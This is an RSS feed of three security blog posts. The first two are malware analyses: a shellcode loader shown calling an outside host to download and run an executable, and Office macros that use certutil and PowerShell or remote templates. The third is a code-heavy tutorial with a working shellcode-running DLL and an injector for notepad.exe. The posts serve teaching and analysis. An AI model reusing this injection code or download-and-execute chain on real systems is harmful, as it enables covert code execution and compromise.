<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by James Patrick on Medium]]></title>
        <description><![CDATA[Stories by James Patrick on Medium]]></description>
        <link>https://medium.com/@jamespatricksec?source=rss-430dce0f1623------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*6E5uHoJ8JlzGlI4Eo_InTQ.jpeg</url>
            <title>Stories by James Patrick on Medium</title>
            <link>https://medium.com/@jamespatricksec?source=rss-430dce0f1623------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 18:00:24 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@jamespatricksec/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Carving Shellcode like a Christmas Ham]]></title>
            <link>https://jamespatricksec.medium.com/carving-shellcode-like-a-christmas-ham-ce59735fb7e2?source=rss-430dce0f1623------2</link>
            <guid isPermaLink="false">https://medium.com/p/ce59735fb7e2</guid>
            <category><![CDATA[threat-hunting]]></category>
            <category><![CDATA[threat-intelligence]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[malware]]></category>
            <dc:creator><![CDATA[James Patrick]]></dc:creator>
            <pubDate>Sat, 17 Aug 2024 06:40:29 GMT</pubDate>
            <atom:updated>2024-08-20T00:54:49.868Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/932/1*eBModmdfDqN8znvRKfv2_Q.png" /></figure><p>Shellcode is a small piece of code used as the payload in the exploitation of software vulnerabilities. Here’s a brief explanation:</p><ol><li>Definition: Shellcode is typically written in machine code or assembly language.</li><li>Purpose: Its primary goal is usually to spawn a command shell or perform a specific task on the target system.</li><li>Name origin: The term “shellcode” comes from its original purpose of spawning a shell, though it’s now used more broadly.</li><li>Characteristics: <br>— Small size: Often needs to fit in limited memory spaces<br> — Self-contained: Doesn’t rely on external libraries<br> — Position-independent: Can execute regardless of its location in memory</li><li>Common uses: <br>— Exploiting buffer overflows<br> — Injecting code into running processes<br> — Payload delivery in various types of attacks</li><li>Types: <br>— Local shellcode: Elevates privileges on the local system<br> — Remote shellcode: Provides remote access to the attacker</li><li>Challenges in creation: <br>— Avoiding null bytes and other restricted characters<br> — Bypassing security measures like DEP (Data Execution Prevention) and ASLR (Address Space Layout Randomization)</li><li>Analysis: Tools like scdbg are used to study and understand shellcode behavior safely.</li></ol><p>scdbg is particularly useful for analyzing potentially malicious code snippets or understanding exploit payloads.</p><p>scdbg (Shellcode Debugger) is a tool used for analyzing and debugging shellcode. Here’s a concise explanation of what it does:</p><ol><li>Shellcode emulation: scdbg emulates the execution of shellcode in a controlled environment.</li><li>Analysis: It helps security researchers and malware analysts understand how shellcode behaves without running it on a real system.</li><li>Debugging: Provides debugging capabilities to step through shellcode execution.</li><li>API call tracing: Records and displays Windows API calls made by the shellcode.</li><li>Memory manipulation detection: Identifies attempts to access or modify memory.</li><li>Formatting options: Can output results in various formats for further analysis.</li><li>Heuristic detection: Attempts to identify potentially malicious behavior.</li></ol><p>We have a sample that is labeled “javaupdate.cs” that is obviously suspicious since this extension is for C#. Let’s open this in Visual Studio to see if we can find anything that stands out.</p><p>Looking at the code, it seems to be some kind of classic injection. We see VirtualAlloc, which will be used to allocate space in memory. We then see Marshal.Copy, which will copy the payload into the space that was allocated. VirtualProtect is called, which will check the memory protections on this memory space and make any changes if necessary. Finally, it calls CreateThread to execute a thread which will run whatever is in the encoded byte array.</p><p>What is also interesting is the WaitForSingleObject call, which is telling it to wait for an indefinite period of time. This means the process will not show up in the process list until it receives a handle to the thread.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZIISV2WQJbGOF0h_aIG6lw.png" /></figure><p>We will not fully know the extent of the malware’s capabilities until we are able to decode the bytes within “rsrc”. To do this, we will copy the payload bytes to another file and use a Python script to format and output a file that scdbg can use.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TNFNrd5PUb0Eg3MXZpankg.png" /></figure><p>Below is the Python code to help us. We saved the file as shellcode.txt.</p><pre>#!/usr/bin/env python3<br><br>with open(&quot;shellcode.txt&quot;, &quot;r&quot;) as f:<br>        hex_string = f.read().replace(&quot;0x&quot;,&quot;&quot;).replace(&quot;byte[] rsrc = new byte[464] {&quot;,&quot;&quot;).replace(&quot;};&quot;,&quot;&quot;).replace(&quot;,&quot;,&quot;&quot;)<br><br>        hex_encode =  hex_string.encode()<br><br>print(hex_string)<br>print(hex_encode)</pre><p>Here are the results after running the first time. On top, we have the raw bytes with all the unneeded characters taken out. The second half is what we can use to manipulate the actual data of the shellcode.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ADzZGA2rCmAWPZAdRQN9Zg.png" /></figure><p>To write the hex-encoded data to an output file, we will add the following additional lines of code:</p><pre>#!/usr/bin/env python3<br><br>with open(&quot;shellcode.txt&quot;, &quot;r&quot;) as f:<br>        hex_string = f.read().replace(&quot;0x&quot;,&quot;&quot;).replace(&quot;byte[] rsrc = new byte[464] {&quot;,&quot;&quot;).replace(&quot;};&quot;,&quot;&quot;).replace(&quot;,&quot;,&quot;&quot;)<br><br>        hex_encode =  hex_string.encode()<br><br>#print(hex_string)<br>#print(hex_encode)<br><br>with open (&quot;out.bin&quot;, &quot;wb&quot;) as out:<br>        out.write(hex_encode)</pre><p>The response gives us our shell code formatted nicely:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WiVUN2StWU8T-F1xkBlMsA.png" /></figure><p>To get this over to our FlareVM we will stand up a quick HTTP Server and pull down the file:</p><pre>remnux@remnux:~/Documents/tmp$ python3 -m http.server 8080<br>Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...</pre><p>Grabbing the file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/878/1*w_0jVptjoqhvWn8iamYXPQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rM5tNcoJe2bGgwokq2_Keg.png" /></figure><p>For our SCDBG command, we need to pass in the shellcode and specify if this is a raw string or a file, which it can handle both. We can also specify the number of steps to step through, which is the number of instructions it will walk through to identify what the shellcode is doing at each set of instructions. We can pass “/f” for the file name and “-s” for steps, which we will specify as “-1” for unlimited, which will parse out all the instructions in the shellcode.</p><pre>C:\Users\MALDEV01\Desktop<br>λ scdbg /f out.bin -s -1<br>Loaded 3a0 bytes from file out.bin<br>Detected straight hex encoding input format converting...<br>Initialization Complete..<br>Max Steps: -1<br>Using base offset: 0x401000<br><br>4010a4  LoadLibraryA(wininet)<br>4010b2  InternetOpenA(wininet)<br>4010cb  InternetConnectA(server: burn.ec2-13-7-109-121-ubuntu-2004.local, port: 443, )<br>4010e3  HttpOpenRequestA()<br>4010fc  InternetSetOptionA(h=4893, opt=1f, buf=12fdf4, blen=4)<br>40110a  HttpSendRequestA()<br>401139  CreateFileA(javaupdate.exe) = 4<br>401155  InternetReadFile(4893, buf: 12faf4, size: 300)<br>40117c  CloseHandle(4)<br>401186  WinExec(javaupdate.exe)<br>40118f  ExitProcess(0)<br><br>Stepcount 5043493</pre><p>Above, we see a list of all the APIs that SCDBG was able to identify while stepping through the shellcode. We see it pulling the WinInet library to be able to call APIs such as InternetOpen and InternetConnect, along with some others.</p><p>We see it passing the URL “burn.ec2–13–7–109–121-ubuntu-2004.local, port: 443” to InternetConnect to download a file and save it as javaupdate.exe. It then runs the executable via the WinExec call and exits the process (ExitProcess).</p><p>So, in summary, we took a block of hexadecimal bytes we knew absolutely nothing about. We carved into it a little bit to see if we could get the bytes out of the text format and into a format we could use with scdbg. We then used scdbg to step through the bytes of the shellcode to see which API calls were being imported and what parameters were being passed to those calls.</p><p>I think we can safely determine that this is a malicious block of shellcode due to it trying to download a file and execute it via the Windows API WinExec.</p><figure><a href="https://buymeacoffee.com/jamespatrick"><img alt="" src="https://cdn-images-1.medium.com/max/300/1*8s4euGO3ejJvhv39hUgI1w.png" /></a></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ce59735fb7e2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Malicious Office Documents and OleDump]]></title>
            <link>https://jamespatricksec.medium.com/malicious-office-documents-and-oledump-8fff0292786d?source=rss-430dce0f1623------2</link>
            <guid isPermaLink="false">https://medium.com/p/8fff0292786d</guid>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking-tools]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <dc:creator><![CDATA[James Patrick]]></dc:creator>
            <pubDate>Thu, 15 Aug 2024 23:42:38 GMT</pubDate>
            <atom:updated>2024-08-20T00:55:39.570Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1012/1*98YtcNRkRFCRJ9nbSMxfPA.png" /></figure><p>Office documents, such as those created using Microsoft Office (Word, Excel, PowerPoint), have unfortunately become a common vector for malware attacks. Macros, small pieces of code embedded in Office files, have historically been used for malware distribution. Unsuspecting users receive emails with enticing attachments (such as invoices or legal documents) that prompt them to enable macros. <a href="https://www.hackread.com/malicious-office-documents-malware-downloads/">Once activated, the macros execute the attacker’s payload, allowing malware to compromise the system.</a></p><p>Today we will use some tools to analyze an Excel and Word document in an attempt to try to extract information about its functionality and malicious intent. I’m going to be playing with Oledump.py to display some of its functionality.</p><p>Oledump is a powerful Python tool designed to analyze OLE files. These files often contain streams of data and are used by various applications, including Microsoft Office files (such as `.doc`, `.xls`, and `.ppt`). Even the newer Microsoft Office Open XML (OOXML) format relies on OLE files for VBA macros.</p><p>When most people look at an Excel file, they perceive it as a single file, which, when decompressed, contains metadata about the file. To start digging in, one preliminary step we can take is to use the native unzip tool to decompress the file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7qJNiFgRvGZb1nxM4KgTJg.png" /></figure><p>We see some interesting information along with a <strong>vbaproject.bin</strong> file within the xl directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*e1n4u_cwtrSTI_TtUjIuxA.png" /></figure><p>Given the .bin extension, there are obviously raw bits in it. A <strong>BIN file</strong> is a generic data file that stores information entirely or partially in binary format. Performing a ‘cat’ command on the file gives us the raw bits, which usually appear as a bunch of gibberish with the exception of some strings we are able to make out:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e59Jg3GnLrj6qtTscolr_A.png" /></figure><p>We need a better tool to investigate this file, such as OleDump.py.</p><p><strong>OLE </strong>(Object Linking and Embedding) is a technology that facilitates communication between software applications by allowing them to share data and functionality. It was developed by Microsoft and is commonly used in Windows-based systems. OLE enables embedding objects (such as charts, spreadsheets, or multimedia files) within documents (like Word or PowerPoint files) or linking to external files.</p><p>OLE (Object Linking and Embedding) technology, originally designed for legitimate purposes, has unfortunately become a vector for malware attacks. Here’s how it’s exploited:</p><p>1. <strong>Malicious Embedded Objects</strong>: OLE allows content creators to embed external resources (like files or executables) within documents. When a user activates an embedded object (e.g., by clicking an icon), it can inject malware onto their computer. These objects often masquerade as harmless content, making them difficult to detect.<br> <br>2. <strong>Payload Concealment</strong>: Malware authors leverage OLE’s versatility to hide malicious code within seemingly benign files. Unlike macros (which often reach out to external servers for payloads), OLE malware contains the payload directly within the document. This all-in-one package makes it harder to detect and block.</p><p>Given its prevalence, organizations should consider disabling OLE and macros (via registry edits or group policies) to enhance security. Vigilance and awareness are crucial, especially since handling documents is a routine task for most users.</p><p>Back to this sample, we can use OleDump.py to dig around in an attempt to find out its functionality. To start, we will perform a basic dump of the file, which looks similar to our unzip dump.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/645/1*5ObqclE5e3Al01OA5UDZ3w.png" /></figure><p>OleDump will create its own index of these files; we can think of them as data streams. A3 looks particularly interesting as it has a capital M next to the index. This is OleDump telling us that there is a macro within this data stream that we should look at. We can examine this stream with the command below. In the screenshot, we see the stream has number three, so we will use the S option to specify stream 3 along with the file name.</p><pre>remnux@remnux:~/Documents/tmp$ oledump.py -s 3 2024_Budget.xlsm</pre><p>Since this is a .BIN file, we will get a HEX dump. Immediately, we can already see a couple of strings that are of interest, mainly certutil, which is a known Living Off The Land Binary.</p><p><strong>Living Off The Land Binaries (LOLBins)</strong> refer to legitimate system binaries or tools that attackers misuse for malicious purposes. Instead of introducing new malware, LOLBins leverage existing utilities available on the target system, making detection more challenging. These binaries are part of the operating system or commonly installed software, allowing attackers to evade security tools and blend in with normal system activity. Examples include PowerShell, Windows Management Instrumentation (WMI), and certutil. By repurposing these tools, attackers achieve their goals without raising immediate suspicion.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Dve3pusDlb5Hxg1O3gAs6Q.png" /></figure><p>Since this is still messy, let’s edit the command and add a -s to dump the strings, which is similar to using FLOSS or strings against a binary.</p><pre>remnux@remnux:~/Documents/tmp$ oledump.py -s 3 -S 2024_Budget.xlsm</pre><p>We see what appears to be some base64 encoding, along with a command utilizing certutil to decode a .crt file and rename it as run.ps1.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iZIBr0fiLFvZhxBcJyBIAQ.png" /></figure><p>Let’s see if we can recover the actual syntax of the macro itself. To do this, we will add --vbadecompresscorrupt to our command.</p><pre>oledump.py -s 3 --vbadecompresscorrupt 2024_Budget.xlsm</pre><p>Now we have all the text from the embedded macro within this worksheet. We see the creation of an array of characters from which it builds strings. We also see a call to a domain to retrieve a file, which is written to disk as “encd.crt”. Finally, there’s a call to the shell object, which runs certutil to decode the “encd.crt” file and rename it to “run.ps1”. It then runs a version of PowerShell located at c:\Windows\SysWOW64\WindowsPowerShell\v1.0\ to execute the PowerShell script, which we can assume downloads additional malicious files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D5DI3hmwzbboXsUGDLeugQ.png" /></figure><p>Switching over to Word, we will be looking at two files with different extensions: .docm, which is a macro-enabled Word document, and .docx, which is a standard Word template.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/517/1*FXk2XviEzwNFGLzyqt_Vmg.png" /></figure><p>Let’s start with a basic dump of the AnnualContract file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/718/1*-npWp8OAXrFv6wAdrbPvpw.png" /></figure><p>Running oledump with the --vbadecompresscorrupt switch again, we see the same macro code as in the Excel document.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Aa5QOo6hvFIGPeSjwtQhXA.png" /></figure><p>Moving on to the other document, many people believe that Word documents with the .docx extension are safe due to the difficulty of embedding macros into a template. Enter remote template injection.</p><p><strong>Remote template injection</strong> is a technique where adversaries manipulate document templates to conceal malicious code or force authentication attempts. For instance, in Microsoft Office Open XML (OOXML) files, template properties may reference external resources fetched when the document loads. By injecting template references, attackers can execute payloads after the document opens. This method evades static detections and has been observed in the wild, even enabling forced authentication.</p><p>Extracting the .docx file, we see the structure below. We will navigate into the word &gt; rels folder:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/514/1*004UebCOKrQ-ZHwHpkUlqg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/528/1*3WskMzXR4wYn8dSDan9kIg.png" /></figure><p>Not all files with the .docx extension are templated Word documents that use a remote template. However, for those that do, the settings for this template are stored in the directory under settings.xml.rels. Opening this file, we see the settings for this template.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qsaXmV71PQ4bSLCvSBSImw.png" /></figure><p>At the end of the 3rd line, we see the target location from which it is retrieving the template. These templates are usually downloaded when the file is opened and stored in the custom Word templates folder. The workaround here is that this doesn’t have to be stored on the local file system.</p><p>It appears this is reaching out to a .dotm file, which is a document template file. So, when the .docx file is opened, it will pull down this .dotm file and run the malicious macro just as if it were within the .docx file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/838/1*fcWvayJHbnPZhTk2zVBuMA.png" /></figure><p>To defend against malicious Office macros, companies can take several proactive steps:</p><p>1. <strong>Macro Security Settings</strong>: Configure strict macro security settings in Microsoft Office applications. By default, macros should be disabled, and users should only enable them for trusted documents. Educate employees about the risks associated with enabling macros.<br> <br>2. <strong>Whitelisting</strong>: Maintain a whitelist of approved macros and digitally sign them. Block execution of unsigned macros. This ensures that only authorized macros run within the organization.<br> <br>3. <strong>Behavioral Analysis</strong>: Use security tools that monitor macro behavior. Detect suspicious patterns, such as macros attempting to access sensitive files or making network requests. Behavioral analysis helps identify malicious activity.<br> <br>4. <strong>User Training</strong>: Regularly train employees on safe practices when handling Office documents. Teach them to scrutinize attachments, avoid enabling macros from unknown sources, and report any suspicious activity.<br> <br>5. <strong>Patch Management</strong>: Keep Office applications and operating systems up to date. Many vulnerabilities exploited by macros are patched in updates. Regularly apply security patches to minimize risk.<br> <br>6. <strong>Network Segmentation</strong>: Isolate critical systems from less secure ones. Limit the impact of macro-based attacks by segmenting networks appropriately.</p><p>Remember that a layered defense strategy, combining technical controls, user awareness, and vigilant monitoring, is essential to mitigate the risks posed by malicious macros.</p><figure><a href="https://buymeacoffee.com/jamespatrick"><img alt="" src="https://cdn-images-1.medium.com/max/300/1*8s4euGO3ejJvhv39hUgI1w.png" /></a></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8fff0292786d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Injection Part Deux — The DLL]]></title>
            <link>https://jamespatricksec.medium.com/injection-part-deux-the-dll-e869845f449b?source=rss-430dce0f1623------2</link>
            <guid isPermaLink="false">https://medium.com/p/e869845f449b</guid>
            <dc:creator><![CDATA[James Patrick]]></dc:creator>
            <pubDate>Thu, 21 Sep 2023 06:58:10 GMT</pubDate>
            <atom:updated>2024-08-20T00:56:18.904Z</atom:updated>
            <content:encoded><![CDATA[<h3>Injection Part Deux — The DLL</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LqB2pfLIyr8GhPyU_Y2Iaw.jpeg" /></figure><p>DLL Injection is another form of code injection which is similar to shellcode injection but we are going to inject a DLL module that we want to run inside a target process.</p><p>Like shellcode injection we must allocate an empty buffer in a remote process, but the difference is it will hold a <strong><em>path </em></strong>to a DLL on disk instead of the actual DLL. The reason for this is because the DLL is a PE file and it needs to be parsed at loading time by the loader so the target process can get the DLL loaded for later use. The size of the buffer needs to be enough to hold the PATH of the DLL on disk.</p><p>There is another method called <strong><em>reflective </em></strong>DLL injection which bypasses this restriction and allows you to run a DLL inside a process without using a system loader — this will be covered in a another write-up. We will be talking about classic DLL injection.</p><p>After allocating the empty buffer space we will copy the path to this newly created buffer.</p><p>We <em>could </em>then call <strong>LoadLibrary </strong>remotely which is done by locating the address of LoadLibrary in the process. Then create a remote thread with the LoadLibrary argument and the path to our DLL which is within Kernel32.dll.</p><p>But since <strong>Kernel32 </strong>is loaded by different processes at the <strong>same </strong>address, we can use the <strong>GetProcAddress </strong>function inside our dropper to find LoadLibrary which will be at the same address inside of our target process. If successful, system will load our DLL from disk and initialize it inside our target process.</p><p>So in review, the needed steps are:</p><ul><li>Locate <strong>LoadLibrary </strong>inside our process with <strong>GetProcAddress</strong></li><li>Allocate a Buffer inside of our EXE</li><li>Use <strong>WriteProcessMemory </strong>to copy the path to the DLL</li><li>Call <strong>CreateRemoteThread </strong>with an address to LoadLibrary and the path to the DLL</li></ul><p>Time to Inject!</p><p>To start we need two things; a DLL we want to inject and an Injector to inject this DLL into the remote process. Below is the code for our DLL and also located in the supplied link:</p><p>(<a href="https://github.com/flawdC0de/Ev1L/blob/main/implantDLL.cpp">https://github.com/flawdC0de/Ev1L/blob/main/implantDLL.cpp</a>)</p><pre>#include &lt;windows.h&gt;<br>#include &lt;stdio.h&gt;<br>#include &lt;stdlib.h&gt;<br>#include &lt;string.h&gt;<br><br>// Calc.exe shellcode (exit function = thread)<br>unsigned char payload[] = {<br>  0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,<br>  0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52,<br>  0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72,<br>  0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,<br>  0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,<br>...<br>};<br>unsigned int payload_len = 276;<br><br>extern __declspec(dllexport) int Go(void);<br>int Go(void) {<br>    <br> void * exec_mem;<br> BOOL rv;<br> HANDLE th;<br>    DWORD oldprotect = 0;<br><br> exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);<br><br> RtlMoveMemory(exec_mem, payload, payload_len);<br> <br> rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &amp;oldprotect);<br><br> if ( rv != 0 ) {<br>   th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);<br>   WaitForSingleObject(th, 0);<br> }<br> return 0;<br>}<br><br><br>BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved ) {<br><br> switch ( fdwReason ) {<br>   case DLL_PROCESS_ATTACH:<br>     Go();<br>     break;<br>   case DLL_THREAD_ATTACH:<br>     break;<br>   case DLL_THREAD_DETACH:<br>     break;<br>   case DLL_PROCESS_DETACH:<br>     break;<br>   }<br> return TRUE;<br>}</pre><p>We will use the same calc.exe shellcode for this example which is not encoded or encrypted.</p><p>This code implements a “GO” function, which is exportable, and pretty much runs the shellcode. It’s function is to allocate the memory buffer:</p><pre>exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);</pre><p>It moves the payload into a new buffer:</p><pre>RtlMoveMemory(exec_mem, payload, payload_len);</pre><p>It also changes the protection:</p><pre>rv = VirtualProtect(exec_mem, payload_len, **PAGE_EXECUTE_READ**, &amp;oldprotect);</pre><p>And then creates the thread:</p><pre>CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);</pre><p>Within DllMain, once the process is attached the GO function is called which should result in the payload being run:</p><pre>DLL_PROCESS_ATTACH:<br>     Go();</pre><p>Let’s look at the Injector. The code follows and is also provided in the link below:<br>(<a href="https://github.com/flawdC0de/Ev1L/blob/main/injectDLL.cpp">https://github.com/flawdC0de/Ev1L/blob/main/injectDLL.cpp</a>)</p><pre>#include &lt;windows.h&gt;<br>#include &lt;stdio.h&gt;<br>#include &lt;stdlib.h&gt;<br>#include &lt;string.h&gt;<br>#include &lt;tlhelp32.h&gt;<br><br><br>int FindTarget(const char *procname) {<br><br>        HANDLE hProcSnap;<br>        PROCESSENTRY32 pe32;<br>        int pid = 0;<br>                <br>        hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);<br>        if (INVALID_HANDLE_VALUE == hProcSnap) return 0;<br>                <br>        pe32.dwSize = sizeof(PROCESSENTRY32); <br>                <br>        if (!Process32First(hProcSnap, &amp;pe32)) {<br>                CloseHandle(hProcSnap);<br>                return 0;<br>        }<br>                <br>        while (Process32Next(hProcSnap, &amp;pe32)) {<br>                if (lstrcmpiA(procname, pe32.szExeFile) == 0) {<br>                        pid = pe32.th32ProcessID;<br>                        break;<br>                }<br>        }<br>                <br>        CloseHandle(hProcSnap);<br>                <br>        return pid;<br>}<br><br><br>int main(int argc, char *argv[]) {<br> <br>   HANDLE pHandle;<br>   PVOID remBuf;<br>   PTHREAD_START_ROUTINE pLoadLibrary = NULL;<br>   char dll[] = &quot;Z:\\MalDev\\Code_Injection\\02.DLL\\implantDLL.dll&quot;;<br>   char target[] = &quot;notepad.exe&quot;;<br>   int pid = 0;<br>   <br>   <br>   pid = FindTarget(target);<br>   if ( pid == 0) {<br>    printf(&quot;Target NOT FOUND! Exiting.\n&quot;);<br>    return -1;<br>   }<br>  <br>   printf(&quot;Target PID: [ %d ]\nInjecting...&quot;, pid);<br>  <br>   pLoadLibrary = (PTHREAD_START_ROUTINE) GetProcAddress( GetModuleHandle(&quot;Kernel32.dll&quot;), &quot;LoadLibraryA&quot;);<br>  <br>   pHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, (DWORD)(pid));<br>  <br>   if (pHandle != NULL) {<br>    remBuf = VirtualAllocEx(pHandle, NULL, sizeof dll, MEM_COMMIT, PAGE_READWRITE); <br>   <br>    WriteProcessMemory(pHandle, remBuf, (LPVOID) dll, sizeof(dll), NULL);<br>  <br>    CreateRemoteThread(pHandle, NULL, 0, pLoadLibrary, remBuf, 0, NULL);<br>    printf(&quot;done!\nremBuf addr = %p\n&quot;, remBuf);<br>  <br>    CloseHandle(pHandle); <br>   }<br>   else {<br>    printf(&quot;OpenProcess failed! Exiting.\n&quot;);<br>    return -2;<br> }<br>}</pre><p>The FindTarget function is the same as we used the the previous shellcode write-up. In the <strong><em>main </em></strong>function we find the target which is still notepad.exe:</p><pre>pid = FindTarget(target);</pre><p>Then we get the location of <strong>LoadLibrary </strong>from our <em>local </em>process:</p><pre>pLoadLibrary = (PTHREAD_START_ROUTINE) GetProcAddress( GetModuleHandle(&quot;Kernel32.dll&quot;), &quot;LoadLibraryA&quot;);</pre><p>We open the target process — notepad.exe:</p><pre>pHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, (DWORD)(pid));</pre><p>Once we have the handle we inject the PATH of the DLL which is specified in the <em>main </em>function:</p><pre>char dll[] = &quot;Z:\\MalDev\\Code_Injection\\02.DLL\\implantDLL.dll&quot;;</pre><pre>remBuf = VirtualAllocEx(pHandle, NULL, sizeof dll, MEM_COMMIT, PAGE_READWRITE);</pre><p>We then write the path to memory:</p><pre>WriteProcessMemory(pHandle, remBuf, (LPVOID) dll, sizeof(dll), NULL);</pre><p>Finally we call <strong>CreateRemoteThread whi</strong>ch is calling <strong>LoadLibrary </strong>with an argument to our path (remBuf):</p><pre>CreateRemoteThread(pHandle, NULL, 0, pLoadLibrary, remBuf, 0, NULL);</pre><p>This all will create a thread in notepad.exe which will run <strong>LoadLibrary </strong>and point it to the DLL path.</p><p>The printf is added so we can investigate where the buffer is located for demo purposes:</p><pre>printf(&quot;done!\nremBuf addr = %p\n&quot;, remBuf);</pre><p>The compile script has been update for this DLL:</p><pre>@ECHO OFF<br><br>cl.exe /O2 /D_USRDLL /D_WINDLL implantDLL.cpp implantDLL.def /MT /link /DLL /OUT:implantDLL.dll</pre><p>First we will compile the DLL and hope for no errors:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/681/1*LtONel1WGJ9TEoz0F2Amww.png" /></figure><p>Success. We see the DLL was created:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/580/1*uzKB-f0jQ-Idk_sHn1WFIA.png" /></figure><p>We will now compile the injector, no issues:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/369/1*g3jhYIJEGJU8kkbI4K03ow.png" /></figure><p>We see the injector:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/586/1*GJQSB38_eNXw8hQNDSpNyQ.png" /></figure><p>We will start notepad and run injectDLL.exe.</p><p>It found the target PID (<strong>8912</strong>) and launched calc, and also gave us our buffer location:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/666/1*Q7dnCEnrciQG4Y5-3l_Mzw.png" /></figure><p>We will launch process hacker and see our notepad and its PID:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/257/1*Vk6vEEWDNRpDZ9lU-wldRA.png" /></figure><p>We can double-click notepad.exe and look at the memory tab and look for our buffer address <strong>0002E50000 </strong>which is readable/writable (RW):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/707/1*0sP30nIlAzBNVnSmyHvd2Q.png" /></figure><p>Double-clicking this we can see the path to our DLL:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/576/1*FgpoXPUVdyn8KzjTLDZR-g.png" /></figure><p>Clicking on the modules tab we can see our implantDLL.dll:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/487/1*y8roSMQEkYbmC8eJfXI7xg.png" /></figure><p>Double-clicking on it we can see the path to our DLL in the title:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/463/1*TjI7QKDa6-IPh18hXyEyPg.png" /></figure><p>Clicking on exports we can see out <strong><em>GO </em></strong>function:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/428/1*XYNOGGdpsdJJXANio_a1Lw.png" /></figure><p>This is a classic DLL injection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/494/1*DbPF_UJc4T99l5fZ0ZbJHA.jpeg" /></figure><figure><a href="https://buymeacoffee.com/jamespatrick"><img alt="" src="https://cdn-images-1.medium.com/max/300/1*8s4euGO3ejJvhv39hUgI1w.png" /></a></figure><img 